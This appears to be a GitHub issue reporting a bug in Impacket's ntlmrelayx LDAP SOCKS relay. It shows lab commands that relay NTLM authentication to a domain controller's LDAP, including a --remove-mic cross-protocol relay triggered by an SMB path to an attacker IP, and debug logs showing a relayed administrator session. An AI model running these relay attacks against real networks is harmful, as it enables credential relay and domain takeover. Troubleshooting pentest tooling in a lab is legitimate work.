Skip to content

ntlmreally ldap socks has a bug #2084

@ZredamanJ

Description

@ZredamanJ

I started listening, accessed the HTTP website enabled by ntlmrelay, and manually entered credentials to simulate an attack.

python ntlmrelayx.py -t ldap://10.10.10.10 -socks -debug
Image

At this point, using ldapdomaindump and adexplorer within an ldap socket session works without any issues.

Image Image

Then, I tested --remove-mic cross-protocol relay.
After enabling the listener, I used the command dir \\attack_ip\c$ on the domain machine.

python ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --remove-mic -socks -debug
Image

At this point, ldapdomaindump can still successfully export LDAP information.

Image

However, adexplorer cannot be used.

Image

The ntlmrelay debug information is as follows:

ntlmrelayx> [+] SOCKS: New Connection from 10.10.10.1(64149)
[+] SOCKS: Target is 10.10.10.10(389)
[+] Handler for port 389 found <class 'impacket.examples.ntlmrelayx.servers.socksplugins.ldap.LDAPSocksRelay'>
[+] LDAP: Received 1 message(s)
[+] LDAP: Received 1 message(s)
[+] LDAP: Received 1 message(s)
[+] LDAP: Received 1 message(s)
[+] LDAP: Got NTLM bind request
[+] LDAP: Received 1 message(s)
[-] LDAP: Connection for RED/ADMINISTRATOR@10.10.10.10(389) is being used at the moment!
[+] KeepAlive Timer reached. Updating connections
[+] Skipping RED/ADMINISTRATOR@10.10.10.10:389 since it's being used at the moment

Metadata

Metadata

Assignees

No one assigned

    Labels

    in reviewThis issue or pull request is being analyzed

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions